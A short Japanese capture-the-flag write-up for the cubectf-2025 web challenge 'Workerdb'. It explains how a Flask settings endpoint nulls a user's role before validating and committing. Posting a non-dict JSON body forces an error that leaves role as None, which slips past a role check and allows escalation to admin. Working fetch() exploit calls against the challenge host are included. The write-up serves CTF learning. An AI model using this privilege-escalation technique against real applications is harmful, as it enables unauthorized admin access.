web/Workerdb
✅️ #cubectf-2025 #web #2025 14 solves / 499 pts.
role=adminだとフラグが取得できる。属性変更のエンドポイントupdate_settingsは次のようなコード
code:py
@app.route('/api/settings/update', methods='POST')
@requires_auth
def update_settings():
try:
user_id = session'user_id'
new_attrs = request.get_json()
...(省略)
temp_attrs = current_attrs.copy()
for key in new_attrs:
if key in current_attrs:
temp_attrskey = None
cursor.execute('UPDATE users SET attributes = ? WHERE id = ?', (json.dumps(temp_attrs), user_id))
db.commit()
sanitized_attrs = {}
for key, value in new_attrs.items():
if key in ALLOWED_ATTRIBUTES:
if not has_xss(value):
sanitized_attrskey = value
...(省略)
final_attrs'role' = 'user'
...(省略)
except sqlite3.Error:
return jsonify({"error": "Server error"}), 500
ここでroleを変更しようとしても最終的にuserに戻されてしまう。
注目すべきところはrequestがget_jsonで取得されているため、dict以外も許容されている点。また一度該当のkeyで値をNoneにし、その後新しい値を設定するという二段階構造を取っている点。
なので途中でエラーを発生させればNoneのままにすることができる。
code:python
@app.route('/api/manage/permissions', methods='POST')
@requires_auth
def manage_permissions():
try:
...(省略)
if current_user_attrs.get('role') != 'user':
...(省略)
...(省略)
except sqlite3.Error:
return jsonify({"error": "Server error"}), 500
roleを変更できるエンドポイントmanage_permissionsはroleがuserでないことしかチェックしていないのでNoneだとbypassできる。よって次のコードでフラグを取得できる。
code:js
await fetch("http://workerdb.chal.cubectf.com:5500/api/settings/update", {
"headers": {"content-type": "application/json"},
"body": JSON.stringify("role"),
"method": "POST",
"mode": "cors",
"credentials": "include"
}); // 500が返ってくる
await fetch("http://workerdb.chal.cubectf.com:5500/api/manage/permissions", {
"headers": {"content-type": "application/json"},
"body": JSON.stringify({"target_user": "test", "new_role": "admin"}),
"method": "POST",
"mode": "cors",
"credentials": "include"
}); // roleを変更する
r = await fetch("http://workerdb.chal.cubectf.com:5500/api/admin", {
"method": "GET",
"mode": "cors",
"credentials": "include"
});
console.log((await r.json())"flag")